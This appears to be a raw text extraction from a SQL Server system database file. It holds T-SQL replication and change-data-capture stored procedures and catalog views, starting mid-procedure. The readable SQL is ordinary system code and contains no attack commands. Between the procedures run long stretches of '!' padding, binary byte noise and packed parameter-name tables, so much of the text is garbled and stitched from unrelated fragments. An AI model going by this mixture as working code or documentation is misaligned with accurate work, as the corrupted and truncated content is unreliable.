	@type				int = NULL,
	@partial_command	bit = NULL,
	@command			varbinary(1024) = NULL,
	@publisher			sysname = NULL
)
AS
BEGIN
	SET NOCOUNT ON

	declare @retcode int
	DECLARE @date datetime
	DECLARE @publisher_database_id int
	declare @originator_id int
	DECLARE @syncmask int
	DECLARE @snapshot_bit int

	select @snapshot_bit = 0x80000000

	SELECT @date = GETDATE()

	-------- security check, db_owner
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@ERROR <> 0 or @retcode <> 0
		return(1)

	if @publisher_id is NULL
		select @publisher_id = srvid from master.dbo.sysservers where
			UPPER(srvname collate database_default) = UPPER(@publisher)

	-- Get publisher database id.
	SELECT @publisher_database_id = id from MSpublisher_databases where publisher_id = @publisher_id and 
		publisher_db = @publisher_db

	IF @command_id = 1
	BEGIN
		INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
			@xact_id,  @xact_seqno, @date)
		IF @@ERROR <> 0
			RETURN 1
	END

	IF @command IS NOT NULL
	begin
		if @originator <> N'' and @originator_db <> N'' and @originator is not null and @originator_db is not null 
		begin
		set @originator_id = null select @originator_id = id from MSrepl_originators where
			publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@originator) and
			dbname = @originator_db
		if @originator_id is null
		begin
			insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
				(@publisher_database_id, UPPER(@originator), @originator_db)
			select @originator_id = @@identity
		end
		end
		else
		select @originator_id = 0
	    

		if( @type in( 37,38 ) )
		begin
	  		declare @syncstat int
			select @syncstat = 38 - @type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @article_id, @syncstat, @xact_seqno 
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
		VALUES (@publisher_database_id, @xact_seqno,
			@type | @snapshot_bit, @article_id, @originator_id, @command_id, @partial_command, @command)
	end

	IF @@ERROR <> 0
		RETURN (1)
END
0@ 8create procedure sys.sp_cdc_drop_job
(
	@job_type nvarchar(20)
)	
as
begin
    set nocount on

    declare @retval int
    --
    -- Authorization check.
    --
    if (isnull(is_srvrolemember('sysadmin'),0) = 0) and (isnull(is_member('db_owner'),0) = 0)
    begin
        raiserror(22904, 16, -1)
        return(1)
    end

	-- NOTE:  The bit identifying a database as enabled for cdc is
	--        cleared before the jobs can be dropped, so only admin
	--        authorization is checked here.  If this changes, then
	--        job security can be checked.
	--
    -- CDC Job security check 
    --
    --exec @retcode = [sys].[sp_MScdc_job_security_check] 
    --if @retcode <> 0 or @@error <> 0
    --    return (1)
        
    set @job_type = rtrim(ltrim(lower(@job_type)))    
    
    -- Verify parameter
    if ((@job_type is null) or (@job_type not in (N'capture', N'cleanup')))
    begin
        raiserror(22992, 16, -1, @job_type)
        return(1)
    end

	-- Call internal stored procedure to drop the job
	exec @retval = sys.sp_cdc_drop_job_internal
		@job_type
	
	if @@error <> 0 or @retval <> 0
		return 1

    return(0)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`	u<[nVǕ0ۿ /8
--
-- Name:    
--          sp_IHhelppublication
--          
-- Description: 
--          HREPL publication properties
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Result set of publication properties
--      
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_IHhelppublication
(
    @publication	sysname = '%',
    @found			int = 23456 OUTPUT,		-- a flag indicate returning row
    @publisher		sysname,
    @publisher_type	sysname
)
AS
BEGIN
    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    DECLARE @pubid				int
    DECLARE @has_subscription	bit
    DECLARE @retcode			int
    DECLARE @no_row				bit
    DECLARE @publish_bit		int
    DECLARE @pubname sysname
    DECLARE @username sysname
    DECLARE @OPT_ENABLED_FOR_HET_SUB int

   	DECLARE @publication_ids TABLE
	(
		pubid	int
	)
	
    SELECT @publish_bit = 1
    SELECT @username = suser_sname()
    SELECT @OPT_ENABLED_FOR_HET_SUB = 0x4

	IF @publisher IS NULL
	BEGIN
		RAISERROR (14043, 16, -1, '@publisher', 'sp_IHhelppublication')
		RETURN (1)
	END

    /*
    ** Initializations.
    */
    IF @found = 23456 
    BEGIN
        SELECT @no_row=0
    END
    ELSE
    BEGIN
        SELECT @no_row=1
    END

    /*
    ** Parameter Check:  @publication.
    ** Check to make sure that there are some publications
    ** to display.
    */

    IF @publication IS NULL
	BEGIN
		RAISERROR (14043, 16, -1, '@publication', 'sp_IHhelppublication')
		RETURN (1)
	END
    
    IF @publication <> '%'
	BEGIN
		EXECUTE @retcode = dbo.sp_validname @publication

		IF @retcode <> 0
			RETURN (1)
	END

	-- Get list of matching publication id's for
	-- this publisher/type combo
	INSERT INTO @publication_ids
	SELECT pubid
	FROM   sys.fn_IHgetpubid(@publication, @publisher, @publisher_type)
	
	IF NOT EXISTS
	(
		SELECT	*
		FROM	@publication_ids
	)
	BEGIN
	    SELECT @found = 0
	    RETURN (0) 
	END
	ELSE
	BEGIN
	    SELECT @found = 1

	    IF @no_row <>0
	    BEGIN
	        RETURN(0)
	    END
	END

    /*
    ** Create a temp table of pubids identifying publications that the current user has access to
    */
    CREATE TABLE #accessiblepubs (pubid int)

    DECLARE hC  CURSOR LOCAL FAST_FORWARD FOR 
	SELECT	sp.pubid,
			sp.name
	FROM	syspublications sp,
			@publication_ids pi
	WHERE	((sp.name = @publication) or  (@publication = N'%'))
	  AND	sp.pubid = pi.pubid

    OPEN hC
    FETCH hC INTO @pubid, @pubname
    WHILE (@@fetch_status <> -1)
    BEGIN
		EXEC @retcode = sys.sp_MSreplcheck_pull	@publication		= @pubname,
												@raise_fatal_error	= 0,
												@given_login		= @username,
												@publisher			= @publisher

        IF (@retcode = 0 AND @@error = 0)
        BEGIN
            INSERT INTO #accessiblepubs values(@pubid)
		END

        FETCH hC INTO @pubid, @pubname
    END
    CLOSE hC
    DEALLOCATE hC

    /*
    ** Join the table of accessible pubids to the publication entries retrieved from syspublications
    */
	SELECT	'pubid'						= sp.pubid,
			'name'						= sp.name,
			'restricted'				= 0,
			'status'					= sp.status,
			-- using 'task' is for backward compatibilty
			'task'						= convert(int, 1),
			'replication frequency'		= sp.repl_freq,
			'synchronization method'	= sp.sync_method,
			'description'				= sp.description,
			'immediate_sync'			= sp.immediate_sync,
			'enabled_for_internet'		= sp.enabled_for_internet,
			'allow_push'				= sp.allow_push,
			'allow_pull'				= sp.allow_pull,
			'allow_anonymous'			= sp.allow_anonymous,
			'independent_agent'			= sp.independent_agent,
			'immediate_sync_ready'		= sp.immediate_sync_ready,
			-- SyncTran
			'allow_sync_tran'			= sp.allow_sync_tran,
			'autogen_sync_procs'		= sp.autogen_sync_procs,
			'snapshot_jobid'			= sp.snapshot_jobid,
			'retention'					= sp.retention,
			'has subscription'			= CASE WHEN EXISTS
											(
												SELECT	*
												FROM	IHsubscriptions
												WHERE	article_id IN 
												(
													SELECT	article_id
													FROM	IHarticles
													WHERE	publication_id = sp.pubid
												)
											)
											THEN 1 ELSE 0 END,
			'allow_queued_tran'			= sp.allow_queued_tran,
			-- Portable snapshot
			'snapshot_in_defaultfolder'	= sp.snapshot_in_defaultfolder,
			'alt_snapshot_folder'		= sp.alt_snapshot_folder,
			-- Pre/post-snapshot commands
			'pre_snapshot_script'		= sp.pre_snapshot_script,
			'post_snapshot_script'		= sp.post_snapshot_script,
			-- Snapshot compression
			'compress_snapshot'			= sp.compress_snapshot,
			-- Post 7.0 ftp support
			'ftp_address'				= sp.ftp_address,
			'ftp_port'					= sp.ftp_port,
			'ftp_subdirectory'			= sp.ftp_subdirectory,
			'ftp_login'					= sp.ftp_login,
			'allow_dts'					= sp.allow_dts,
			'allow_subscription_copy'	= sp.allow_subscription_copy,
			-- 7.5 Queued updates
			'centralized_conflicts'		= NULL, 
			'conflict_retention'		= 14, 
			'conflict_policy'			= NULL,
			'queue_type'				= NULL,
			'backward_comp_level'		= sp.backward_comp_level,
			'publish_to_AD'				= CASE
											WHEN sp.ad_guidname IS NULL
											THEN 0 ELSE 1 END,
			'allow_initialize_from_backup' = sp.allow_initialize_from_backup,
			'replicate_ddl' = sp.replicate_ddl,
			-- PeerToPeer only (for now, not allowed in hetero)
			'enabled_for_p2p' = 0,
			'publish_local_changes_only' = 0,
			-- Enabled for heterogeneous subscribers only
			'enabled_for_het_sub' = case when (sp.options & @OPT_ENABLED_FOR_HET_SUB) = @OPT_ENABLED_FOR_HET_SUB then 1 else 0 end


	FROM	syspublications sp,
			MSpublications msp,
			master.dbo.sysservers ss,
			#accessiblepubs acc
	WHERE	sp.pubid = msp.publication_id
	  AND	msp.publisher_id = ss.srvid
	  AND	UPPER(ss.srvname collate database_default) = UPPER(@publisher) collate database_default
	  AND	((sp.name = @publication) or  (@publication = N'%'))
	  AND	sp.pubid = acc.pubid
	ORDER BY sp.name

    RETURN (0)
END
0; 8--
-- Name: 
--		sp_MSpeerdbinfo
-- 
-- Description: 
--		Checks to see if this database contains any peer to peer publications. If so, it
--		will also output the guid restore version value as an int.
-- 	
-- Parameters: 
--	 	See the procedure definition.
--
-- Returns: 
--		0 - succeeded
--      1 - failed
--
-- Result: 
--		None
--
-- Security: 
--		Called by logreader agents  (must be made public).
--		SYSADMIN or DBO of publisher db
--
create procedure sys.sp_MSpeerdbinfo
(
	@is_p2p				bit output,
	@current_version 	int output
)
as
begin
	declare @retcode int
	
	declare @OPT_ENABLED_FOR_P2P int
	
	select @OPT_ENABLED_FOR_P2P = 0x1

	-- Security Check
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return 1
	end
	
	-- only retrieve the data if the database is published. return 
	-- error since this should not be called on non-published db
	if sys.fn_MSrepl_istranpublished(db_name(),0) != 1
    begin
		select @is_p2p = 0,
				@current_version = 0

		return 1
    end

	-- check if any publication is enabled for P2P
    if exists (select *
				from syspublications 
				where (options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P)
	begin
		select @is_p2p = 1

		exec @retcode = sys.sp_MSgetdbversion @current_version = @current_version output
		if @@error <> 0 or @retcode <> 0
			return 1
	end
	else
	begin
		select @is_p2p = 0,
			@current_version = 0
	end

    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<o[gp0W 8
-- add it
create view sys.pdw_loader_backup_runs as
select
	run_id,
	name	collate database_default name,
	submit_time,
	start_time,
	end_time,
	total_elapsed_time,
	operation_type	collate database_default operation_type,
	mode	collate database_default mode,
	database_name	collate database_default database_name,
	table_name	collate database_default table_name,
	principal_id,
	session_id	collate database_default session_id,
	request_id	collate database_default request_id,
	status	collate database_default status,
	progress,
	command	collate database_default command,
	rows_processed,
	rows_rejected,
	rows_inserted
from sys._pdw_loader_backup_runs
0| 8CREATE VIEW sys.dm_db_partition_stats AS
	SELECT c.partition_id, i.object_id, i.index_id, c.partition_number,
	c.in_row_data_page_count, c.in_row_used_page_count, c.in_row_reserved_page_count,
	c.lob_used_page_count, c.lob_reserved_page_count,
	c.row_overflow_used_page_count, c.row_overflow_reserved_page_count,
	c.used_page_count, c.reserved_page_count, c.row_count
	FROM sys.indexes$ i CROSS APPLY OpenRowSet(TABLE PARTITIONCOUNTS, i.object_id, i.index_id, i.rowset) c
0C}@ 8create view sys.trace_event_bindings as select * from OpenRowset(TABLE SYSTRACEEVENTBINDINGS)
0^ E8create procedure sys.sp_MSrepl_snapshot_helppublication
(
	@publication	sysname,
	@publisher		sysname
)
AS
BEGIN
    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    DECLARE @pubid				int
    DECLARE @has_subscription	bit
    DECLARE @retcode			int
    DECLARE @publish_bit		int
    
    SELECT @publish_bit = 1

    /*
    ** Security Check
    */
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)
    

    -- Parameter Check:  @publisher
	IF @publisher IS NULL
	BEGIN
		RAISERROR (14043, 16, -1, '@publisher', 'sp_MSrepl_snapshot_helppublication')
		RETURN (1)
	END

    -- Parameter Check:  @publication
    IF @publication IS NULL
	BEGIN
		RAISERROR (14043, 16, -1, '@publication', 'sp_MSrepl_snapshot_helppublication')
		RETURN (1)
	END
    
	EXECUTE @retcode = dbo.sp_validname @publication
	IF @retcode <> 0
		RETURN (1)
	
	SELECT	'pubid'						= sp.pubid,
			'name'						= sp.name,
			'restricted'				= 0,
			'status'					= sp.status,
			-- using 'task' is for backward compatibilty
			'task'						= convert(int, 1),
			'replication frequency'		= sp.repl_freq,
			'synchronization method'	= sp.sync_method,
			'description'				= sp.description,
			'immediate_sync'			= sp.immediate_sync,
			'enabled_for_internet'		= sp.enabled_for_internet,
			'allow_push'				= sp.allow_push,
			'allow_pull'				= sp.allow_pull,
			'allow_anonymous'			= sp.allow_anonymous,
			'independent_agent'			= sp.independent_agent,
			'immediate_sync_ready'		= sp.immediate_sync_ready,
			-- SyncTran
			'allow_sync_tran'			= sp.allow_sync_tran,
			'autogen_sync_procs'		= sp.autogen_sync_procs,
			'snapshot_jobid'			= sp.snapshot_jobid,
			'retention'					= sp.retention,
			'has subscription'			= CASE WHEN EXISTS
											(
												SELECT	*
												FROM	IHsubscriptions
												WHERE	article_id IN 
            									(
            										SELECT	article_id
            										FROM	IHarticles
            										WHERE	publication_id = sp.pubid
            									)
            								)
											THEN 1 ELSE 0 END,
			'allow_queued_tran'			= sp.allow_queued_tran,
			-- Portable snapshot
			'snapshot_in_defaultfolder'	= sp.snapshot_in_defaultfolder,
			'alt_snapshot_folder'		= sp.alt_snapshot_folder,
			-- Pre/post-snapshot commands
			'pre_snapshot_script'		= sp.pre_snapshot_script,
			'post_snapshot_script'		= sp.post_snapshot_script,
			-- Snapshot compression
			'compress_snapshot'			= sp.compress_snapshot,
			-- Post 7.0 ftp support
			'ftp_address'				= sp.ftp_address,
			'ftp_port'					= sp.ftp_port,
			'ftp_subdirectory'			= sp.ftp_subdirectory,
			'ftp_login'					= sp.ftp_login,
			'ftp_password'				= sys.fn_repldecryptver4(sp.ftp_password),
			'allow_dts'					= sp.allow_dts,
			'allow_subscription_copy'	= sp.allow_subscription_copy,
			-- 7.5 Queued updates
			'centralized_conflicts'		= NULL, 
			'conflict_retention'		= 14, 
			'conflict_policy'			= NULL,
			'queue_type'				= NULL,
			'backward_comp_level'		= sp.backward_comp_level,
			'publish_to_AD'				= CASE
											WHEN sp.ad_guidname IS NULL
											THEN 0 ELSE 1 END
	FROM	syspublications		sp,
			MSpublications		msp,
			master.dbo.sysservers	ss
	WHERE	sp.pubid = msp.publication_id
	AND		msp.publisher_id = ss.srvid
	AND     UPPER(ss.srvname collate database_default) = UPPER(@publisher) collate database_default
	AND		((sp.name = @publication) or  (@publication = N'%'))
	ORDER BY sp.name
	IF @@ERROR <> 0 RETURN 1
	
    RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#$`uK)p9B/\6m$@rolename6n@pubid6o,TABLE_CATALOG6o&TABLE_NAME6o*TABLE_SCHEMA6o*VIEW_CATALOG6o$VIEW_NAME6o(VIEW_SCHEMA65p$@agent_id65p@artid65p@colid65p.@publishertype6MH"backoffs6MH&collisions6MHname6MH(pdw_node_id6MH&sleep_time6MHspins6MH8spins_per_collision6i&@dbms_name6i8@dest_create_params6i.@dest_nullable6i&@dest_prec6i&@dest_type6i$@sql_type6ڡ,@inputbitmap16ڡ,@inputbitmap26ڡ.@resultbitmap36B@browse_information_mode6 @params6@tsql6Jassembly_qualified_type_name6
.collation_name6.column_ordinal6',error_message6$*error_number6%.error_severity6&(error_state6(&error_type6)0error_type_desc6n"@article6n,@returnfilter6n&@publisher6n@found6n@rmo6#o*@publication6$@agent_id6@pubid6&@runstatus6$@comments60@transaction_id68@transaction_status6@@transactions_processed68@commands_processed6	2@seconds_elapsed6
(@subscriber6,@subscriberdb66@perfmon_increment6
&@log_error6:@update_existing_row6,@do_raiserror6^,@publisher_id6^,@publisher_db6^*@publication6^.@subscriber_id6^.@subscriber_db6^8@subscriber_version6^(@subscriber6>@qualified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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!xP"p&
>6
nX


zN"	`0j	B				,
L&jD"zlH`B`wB)q&:!$6u.authority_name6uPauthorized_spatial_reference_id6u:spatial_reference_id6u>unit_conversion_factor6u0unit_of_measure6u0well_known_text6s>(@index_name6s>.@table_catalog6s>(@table_name6s>,@table_schema6s>,@table_server6s"@objname6s*@updateusage6="(@table_name6=",@table_schema6=",@table_schema6/"@colname6/@fset6/ @object6q74cpu_affinity_mask6q7:foreign_committed_kb6q7Flocked_page_allocations_kb6q7.memory_node_id6q7	<online_scheduler_mask6q7"pages_kb6q7
0processor_group6f6&@publisher64Q3*@publication64Q3 @cmdtxt6J,(@agent_type6J,$@agent_id6J,$@error_id6J,4@alert_error_code6J,&@publisher6J,,@publisher_db6J,*@publication6J,4@publication_type6J,	(@subscriber6J,
.@subscriber_db6J,"@article6J,8@destination_object6J,
.@source_object6J,4@alert_error_text6&@publisher6,@publisher_db6*@publication62@datasource_type6*@server_name6"@db_name62@datasource_path6$@replnick6	.@schemaversion6
@subid6*@compatlevel6,@partition_id6
2@replica_version6>@activate_subscription6o+*@publication6o+"@article6o+2@conflict_script6o+@login6o+$@password6t&@publisher6t,@publisher_db6t*@publication6t*@lightweight!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!j$LvzX^




,z	L	(		"N	x	 
`:b@&`4DpV`| B)vrJmH6xO*@publication6xO(@subscriber6N]@artid6N]@pubid6e@subid6 @action6"@colname6$@language6"@tabname6,@type_colnameoS6oS@geog6ۥ(@agent_type6{i8available_memory_kb6{i6forced_grant_count6{i4granted_memory_kb6{i,grantee_count6{i:max_target_memory_kb6{i pool_id6{i<resource_semaphore_id6{i2target_memory_kb6{i
8timeout_error_count6{i0total_memory_kb6{i.used_memory_kb6{i	*waiter_count6ն0message_type_id6նname6ն*principal_id6xO&@publisher6xO0@publisher_type6G*@publication6G"@article6G,@command_only6G&@publisher6G,@publisher_db6G@alter6G&@trig_only6G&@usesqlclr6mz@pubid6mz@artid6mz @bitmap6h޲"@objname6h޲$@objowner6\“2@current_version6>p$@agent_id6;s&@publisher6;s,@publisher_db6;s*@publication6;s(@subscriber6;s.@subscriber_db64dl$@agent_id64dl(@agent_type64dl0@monitor_server64dlL@monitor_server_security_mode64dlD@history_retention_period64dl*@curdate_utc6Fd4@capture_instance6Fd<@supports_net_changes6Fd&@role_name6.@source_schema6*@source_name͝6͝&@nicknames6͝,@replnickname6*@pubid6*4@drop_publication!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!jV$4`.s)<t5u6Z"@article6Z4@backupdevicetype6Z0@destination_db6Z>@distribution_job_name6Z<@dts_package_location6Z4@dts_package_name6Z<@dts_package_password6Z:@enabled_for_syncmgr6Z8@frequency_interval6Z
J@frequency_recurrence_factor6ZJ@frequency_relative_interval6Z4@frequency_subday6ZF@frequency_subday_interval6Z
0@frequency_type6Z	8@loopback_detection6Z,@offloadagent6Z.@offloadserver6Z4@backupdevicename6Z .@mediapassword6Z"(@fileidhint!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!FP
B
t`$`p)uk-M6k4@frequency_subday6kF@frequency_subday_interval6k
0@frequency_type6k	8@loopback_detection6k .@mediapassword6k,@offloadagent6k.@offloadserver6k>@optional_command_line6k*@publication6k&@publisher6k$@reserved6k @status6k(@subscriber6k6@subscription_type6k&@sync_type6k*@update_mode6?(@table_name6?,@table_schema6Y)@login6Y)*@publication6Y)&@publisher6Y)$@reserved66^
*DATE_CREATED66^,DATE_MODIFIED66^(DESCRIPTION66^$object_id66^$schema_id66^,TABLE_CATALOG66^&TABLE_GUID66^&TABLE_NAME66^	*TABLE_PROPID66^*TABLE_SCHEMA66^&TABLE_TYPE6&@curdistdb6!*@publication6Q),@attribute_id64(@locallogin64(@rmtsrvname6Q;$@property6Q;*@publication6Q;4@publication_type6Q;&@publisher6Q;,@publisher_db6Q;@value6M@lang6M @msgnum6PR*@fUsePattern6PR.@table_catalog6PR(@table_name6PR,@table_schema6PR,@table_server6PR(@table_type6^*@publication6^&@publisher6^,@publisher_db6Se4CHAR_OCTET_LENGTH6Se&COLUMN_DEF6Se(COLUMN_NAME6Se(COLUMN_TYPE6Se	$DATA_TYPE6Se(IS_NULLABLE6SeLENGTH6Se"NULLABLE6Se$object_id6Se2ORDINAL_POSITION6Se$PRECISION6Se.PROCEDURE_NAME6Se2procedure_number6Se0PROCEDURE_OWNER6Se8PROCEDURE_QUALIFIER6SeRADIX6Se REMARKS6Se
SCALE6Se$schema_id6Se,SQL_DATA_TYPE6Se2SQL_DATETIME_SUB6Se*SS_DATA_TYPE6Se:SS_TYPE_CATALOG_NAME6Se8SS_TYPE_SCHEMA_NAME6SeDSS_UDT_ASSEMBLY_TYPE_NAME6Se8SS_UDT_CATALOG_NAME6Se6SS_UDT_SCHEMA_NAME6SeZSS_XML_SCHEMACOLLECTION_CATALOG_NAME6SeJSS_XML_SCHEMACOLLECTION_NAME6SeXSS_XML_SCHEMACOLLECTION_SCHEMA_NAME6Se
